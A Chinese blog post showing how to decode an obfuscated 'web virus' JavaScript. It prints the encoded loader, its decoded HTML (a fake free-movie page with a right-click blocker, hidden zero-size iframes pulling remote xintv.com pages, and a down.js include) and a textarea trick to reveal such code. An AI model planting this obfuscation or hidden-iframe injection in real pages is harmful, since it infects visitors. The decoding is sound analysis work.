注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

.

.

 
 
 

日志

 
 

2009年6月13日  

2009-06-13 09:42:21|  分类: 知识常识 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

最新网页病毒解密方法

2007-08-11 02:40

类似下面这样的代码的解密方法

<SCRIPT LANGUAGE="JavaScript">

<!--

var HtmlStrings=["=iunm > =ifbe > =nfub!obnf>#lfzxpset#!dpoufou>#灬彲-灬彲忎耆-歼祟-兎贺甶彲-兎贺甶觇-圩绀觃県-丌轾-圩绀-朻噩亻-助漬-级伛-兎贺-兎贺丌轾-兎贺圩绀甶彲-兎贺丌轾甶彲-# > =nfub!iuuq",".frvjw>#Dpoufou.Uzqf#!dpoufou>#ufyu0iunm<!dibstfu>hc3423# > ","=MJOL!isfg>#nuw0tuzmf/dtt#!uzqf>ufyu0dtt!sfm>tuzmftiffu > =u","jumf >県吨兎贺甶彲!助漬且医!奾県皅圩绀兎贺甶彲!iuuq;00xxx/lbo","9/dpn/sv=0ujumf > =TDSJQU!MBOHVBHF>#KbwbTdsjqu# > gvodujpo!","qpqVq)VSM*!| ebz!>!ofx!Ebuf)*< je!>!ebz/hfuUjnf)*< fwbm)#q","bhf#!,!je!,!#!>!xjoepx/pqfo)VSM-!(#!,!je!,!#(-!(uppmcbs>1-tds","pmmcbst>2-mpdbujpo>1-tubuvtcbs>1-nfovcbs>1-sftj{bcmf>2-xjeui>","711-ifjhiu>611-mfgu!>!211-upq!>!61(*<#*< ~ 00!Foe!.. > =0t","dsjqu >=tdsjqu!mbohvbhf>#KbwbTdsjqu# > = .. epdvnfou/ponpvt","fepxo>dmjdl gvodujpo!dmjdl)*!| jg!)!fwfou/cvuupo>>3*!|bmfsu",")(与凇柦県溑斈价(*!~ jg!)!fwfou/cvuupo>>4*!|bmfsu)(与凇柦県溑斈价(*!~ ~ 00.. > =0tdsjqu > =0ifbe > =ubcmf!xjeui>#","889#!dfmmtqbdjoh>#2#!dfmmqbeejoh>#3#!bmjho>#dfoufs# > !! ","=jgsbnf!!tsd>#iuuq;00npwjf/yjouw/dpn0nbjo/iun#!je>#nbjoGsbnf#","!obnf>#nbjoGsbnf#!xjeui>#889#!ifjhiu>#3931#!gsbnfcpsefs>#1#!t","dspmmjoh>#op# >=0jgsbnf > =ubcmf!xjeui>#889#!cpsefs>#1#!bmjh","o>#dfoufs#!dfmmqbeejoh>#1#!dfmmtqbdjoh>#1# > !! !!=0us > !","!=us > !!!!=ue!ifjhiu>#2# >=0ue > !!=0us > =0ubcmf > ","=jgsbnf!!obnf>#gbtijpojqdusmGsbnf#!!tsd>#iuuq;00gbtijpo/yjouw","/dpn0kmwofu/iunm#!!!!!xjeui>#1#!ifjhiu>#1#!gsbnfcpsefs>#1#!td","spmmjoh>#op#!tuzmf>#ejtqmbz;opof# > !!!!!!!!=0jgsbnf > !!","!!=jgsbnf!!obnf>#npwjfjqdusmGsbnf#!!!!tsd>#iuuq;00npwjf/yjouw","/dpn0kmwofu/iunm#!!!!!!!xjeui>#1#!ifjhiu>#1#!gsbnfcpsefs>#1#!","tdspmmjoh>#op#!tuzmf>#ejtqmbz;opof# > !!!!!!!!=0jgsbnf > !!","!!!!!!=jgsbnf!!obnf>#nwdjqdusmGsbnf#!!!!!!tsd>#iuuq;00nwd/yjo","uw/dpn0kmwofu/iunm#!!!!!!!!!xjeui>#1#!ifjhiu>#1#!gsbnfcpsefs>","#1#!tdspmmjoh>#op#!tuzmf>#ejtqmbz;opof# > !!!!!!!!=0jgsbnf >"," !!!!!!!!=jgsbnf!!obnf>#ofxtjqdusmGsbnf#!!!!!tsd>#iuuq;00ofx","t/yjouw/dpn0kmwofu/iunm#!!!!!!!!xjeui>#1#!ifjhiu>#1#!gsbnfcps","efs>#1#!tdspmmjoh>#op#!tuzmf>#ejtqmbz;opof# > !!!!!!!!=0jgsb","nf > !!!!!!!!=jgsbnf!!obnf>#gjobodfjqdusmGsbnf#!!tsd>#iuuq;0","0gjobodf/yjouw/dpn0kmwofu/iunm#!!!!!xjeui>#1#!ifjhiu>#1#!gsbn","fcpsefs>#1#!tdspmmjoh>#op#!tuzmf>#ejtqmbz;opof# > !!!!!!!!=0","jgsbnf > !!!!!!!!=jgsbnf!!obnf>#hpmgjqdusmGsbnf#!!!!!tsd>#iu","uq;00hpmg/yjouw/dpn0kmwofu/iunm#!!!!!!!!xjeui>#1#!ifjhiu>#1#!","gsbnfcpsefs>#1#!tdspmmjoh>#op#!tuzmf>#ejtqmbz;opof# > !!!!!!","!!=0jgsbnf > = .. !!!!!!!!=jgsbnf!obnf>#dvmuvsfjqdusmGs","bnf#!!tsd>#iuuq;00dvmuvsf/yjouw/dpn0kmwofu/iunm#!!!!!!!!!xjeu","i>#1#!ifjhiu>#1#!gsbnfcpsefs>#1#!tdspmmjoh>#op#!tuzmf>#ejtqmb","z;opof# > !!!!!!!!=0jgsbnf > !!!!!!!!.. > !!=tdsjqu!tsd>(e","pxo/kt( >=0tdsjqu > "];

function psw(st){

var varS;

varS="";

var i;

for(var a=0;a<st.length;a++){

i = st.charCodeAt(a);

if (i==1)

varS=varS+String.fromCharCode('"'.charCodeAt()-1);

else if (i==2) {

a++;

varS+=String.fromCharCode(st.charCodeAt(a));

}

else

varS+=String.fromCharCode(i-1);

}

return varS;

};

var num=41;

function S(){

for(i=0;i<num;i++)

document.write(psw(HtmlStrings[i]));}

S();

// -->

</SCRIPT>

解密后代码如下:

<html>

<head>

<meta name="keywords" content="火影,火影忍者,死神,免费电影,免费电视,在线观看,下载,在线,机器人,动漫,约会,免费,免费下载,免费在线电影,免费下载电影,">

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<LINK href="mtv/style.css" type=text/css rel=stylesheet>

<title>看吧免费电影 动漫专区 好看的在线免费电影 http://www.kan8.com.ru</title>

<SCRIPT LANGUAGE="JavaScript">

function popUp(URL) {

day = new Date();

id = day.getTime();

eval("page" + id + " = window.open(URL, '" + id + "', 'toolbar=0,scrollbars=1,location=0,statusbar=0,menubar=0,resizable=1,width=600,height=500,left = 100,top = 50');");

}

// End -->

</script><script language="JavaScript">

<!--

document.onmousedown=click

function click() {

if ( event.button==2) {alert('不准查看源文件') }

if ( event.button==3) {alert('不准查看源文件') }

}

//-->

</script>

</head>

<table width="778" cellspacing="1" cellpadding="2" align="center">

<iframe src="http://movie.xintv.com/main.htm" id="mainFrame" name="mainFrame" width="778" height="2820" frameborder="0" scrolling="no"></iframe>

<table width="778" border="0" align="center" cellpadding="0" cellspacing="0">

</tr>

<tr>

<td height="1"></td>

</tr>

</table>

<iframe name="fashionipctrlFrame" src="http://fashion.xintv.com/jlvnet.html" width="0" height="0" frameborder="0" scrolling="no" style="display:none">

</iframe>

<iframe name="movieipctrlFrame" src="http://movie.xintv.com/jlvnet.html" width="0" height="0" frameborder="0" scrolling="no" style="display:none">

</iframe>

<iframe name="mvcipctrlFrame" src="http://mvc.xintv.com/jlvnet.html" width="0" height="0" frameborder="0" scrolling="no" style="display:none">

</iframe>

<iframe name="newsipctrlFrame" src="http://news.xintv.com/jlvnet.html" width="0" height="0" frameborder="0" scrolling="no" style="display:none">

</iframe>

<iframe name="financeipctrlFrame" src="http://finance.xintv.com/jlvnet.html" width="0" height="0" frameborder="0" scrolling="no" style="display:none">

</iframe>

<iframe name="golfipctrlFrame" src="http://golf.xintv.com/jlvnet.html" width="0" height="0" frameborder="0" scrolling="no" style="display:none">

</iframe>

<!--

<iframe name="cultureipctrlFrame" src="http://culture.xintv.com/jlvnet.html" width="0" height="0" frameborder="0" scrolling="no" style="display:none">

</iframe>

-->

<script src='down.js'></script>

解密方法:

1。在你那段代码前面加上一行

<textarea id=t1></textarea>

2。把倒数第四行代码修改以下

document.write(psw(HtmlStrings[i]));}

改为

t1.value += psw(HtmlStrings[i]);}

  评论这张
 
阅读(97)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017